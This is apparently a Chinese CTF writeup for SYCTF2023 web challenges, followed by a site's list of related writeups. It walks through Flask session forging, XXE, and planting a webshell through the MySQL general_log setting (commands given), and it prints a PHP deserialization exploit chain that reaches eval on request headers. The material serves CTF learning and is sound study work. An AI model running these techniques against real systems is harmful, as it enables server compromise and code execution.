CarelessPy

一进来就是个任意文件下载功能,不过做了些限制,这题从头到尾都在骂杂鱼。。。(虽然我确实是(bushi)

查看页面源代码,给了个/eval /login 两个路由,/eval是个目录遍历,/login尝试登录无果,有session,应该需要伪造session,利用/eval查看app下的pyc文件,然后down下载

在线找个pyc反编译,成功拿到密钥

直接flask-session-manager伪造session,登录成功后拿到/th1s_1s_The_L4st_one 这个路由,访问查看,xml的页面,猜想存在xxe漏洞,抓个包分析分析,直接payload打,注意得加个Content-Type: text/xml 否则打不通

Confronting robot

这题给我ex坏了,第一个页面,myname参数存在注入,sqlmap一把梭

访问/sEcR@t_n@Bodyknow.php 测试发现这是个模拟sql命令行,可以执行sql命令,查看页面源代码发现game.php ,访问查看,猜拳10局,赢了就给flag,结果game表里没有数据,猜测是得我们插入数据来确保我们稳赢,查看当前用户是secret@localhost ,查看一下权限show grants for secret@localhsot,一看不知道一看吓一跳,基本没有权限,有个查询权限和创建用户权限,这还写个屁数据,这里折磨了一整天,想了一堆办法终无果,最终查看大佬方法,开启日志查询,写马getshell,额贼,佩服能想到的,先开启全局日志查询,然后设置当前文件为日志存储文件,这样只需select '',然后 蚁剑连接即可。记得把你的火绒关掉,要不然给拦截了

set global general_log='on'
set global general_log_file='/var/www/html/sEcR@t_n@Bodyknow.php'

查看game.php拿到flag

听说还有修改用户的玩法,有无大佬蕉蕉

4号的罗纳尔多

php审计,代码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'givemegirlfriend!');
} else {
echo 'nonono';
}
}
} if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
unserialize($_GET['Pochy']);
} else {
echo 'nonono';
}

很经典不能O,a开头,那我们就C开头,不能有ArrayObject,啧,之前ctfshow学到的没用了,最终发现SplStack这个类也能用,然后就是绕__destruct,也就是只能使用[A-Za-z_\(\)],最后带个; 怎么把givemegirlfriend! 除掉是个问题,__halt_compiler(); 可以中断编译器的执行,不让eval解析后面的就行了,这里没法用引号,所以得构造无参rce,exp如下:

<?php
class evil
{
public $cmd="eval(end(getallheaders()));__halt_compiler();";
}
$a=new SplStack();
$a->push(new evil());
$b=serialize($a);
echo($b); // 注意得修改成符合C的格式,具体可以自己查资料
// C:8:"SplStack":84:{i:0;:O:4:"evil":1:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";};}

复现复现着环境没了,日。。。。,最终在本地打通。

SYCTF2023 WEB writeup的更多相关文章

  1. ISG 2018 Web Writeup

    作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...

  2. [SHA2017](web) writeup

    [SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...

  3. [WUST-CTF]Web WriteUp

    周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者 ...

  4. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

  5. [MRCTF]Web WriteUp

    和武科大WUSTCTF同时打的一场比赛,最后因为精力放在武科大比赛上了,排名13  - -Web题目难度跨度过大,分不清层次,感觉Web题目分布不是很好,质量还是不错的 Ez_bypass 进入题目得 ...

  6. [易霖博YCTF]Web WriteUp

    中午队里师傅发到群里的比赛,借来队里师傅账号和队里其他师傅一起做了一下,ak了web,师傅们tql.学到挺多东西,总结一下. rce_nopar 进入题目给出源码: <?php if(isset ...

  7. [XNUCA 进阶篇](web)writeup

    XNUCA 靶场练习题writeup default 阳关总在风雨后 题目过滤很多,*,#,/ ,and,or,|,union,空格,都不能用 盲注,最后的姿势是:1'%(1)%'1 中间的括号的位置 ...

  8. 【网鼎杯2020白虎组】Web WriteUp [picdown]

    picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...

  9. 【网鼎杯2020青龙组】Web WriteUp

    AreUSerialz 打开题目直接给出了源代码 <?php include("flag.php"); highlight_file(__FILE__); class Fil ...

  10. 2019全国大学生信息安全竞赛部分Web writeup

    JustSoso 0x01 审查元素发现了提示,伪协议拿源码 /index.php?file=php://filter/read=convert.base64-encode/resource=inde ...

随机推荐

  1. Docker常用软件安装

    jdk dockere pull openjdk:11 docker run -d -t --name java-11 openjdk:11 MySQL 可以从docker hup中查找自己想要安装的 ...

  2. 火山引擎 A/B 测试产品——DataTester 私有化架构分享

    作为一款面向 ToB 市场的产品--火山引擎A/B测试(DataTester)为了满足客户对数据安全.合规问题等需求,探索私有化部署是产品无法绕开的一条路. 在面向 ToB 客户私有化的实际落地中,火 ...

  3. Flask+Gunicorn+Nginx配置多个app

    请自行安装好nginx.gunicorn和flask的运行环境,这里不再赘述 Nginx配置 修改nginx的配置 vi /etc/nginx/sites-available/default //de ...

  4. w11修改ie保护模式方法

    IE安全设置下有4个区域 对应的设置在不同的注册表中.[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Set ...

  5. pyhon之编译成exe

    1安装pyinstaller pip install pyinstaller 2 编译 pyinstaller -F -w game.py  (-F表示打包单个文件,-w是为了打开exe时候不弹出黑框 ...

  6. CSS样式中颜色与颜色值的应用

    使用CSS描绘页面样式时,颜色是其中不可或缺的,无论是对文本.背景还是边框.阴影,我们都写过无数代码用来增添颜色.而为了让网页的色彩表现更出色,我们很有必要完整梳理下CSS中的色彩. 要讲清楚CSS中 ...

  7. vulnhub靶场之DRIFTINGBLUES: 5

    准备: 攻击机:虚拟机kali.本机win10. 靶机:DriftingBlues: 5,下载地址:https://download.vulnhub.com/driftingblues/driftin ...

  8. Redis读书笔记(一)

    Redis数据结构 1 简单动态字符串 Simple dynamic string 的实现 // sds.h/sdshdr struct sdshdr { int len; //记录buf数组中已使用 ...

  9. 【Vue】二

    一个第三方js处理类库 BootCDN Vue过滤器 Date.now() 获取时间戳 Date.now() 1652411231222 计算属性实现 <body> <div id= ...

  10. SpringBoot入门(二):Controller的使用

    Controller中注解的使用:   @Controller   ●该注解用来响应页面,必须配合模板来使用   @RestController ●该注解可以直接响应字符串,返回的类型为JSON格式 ...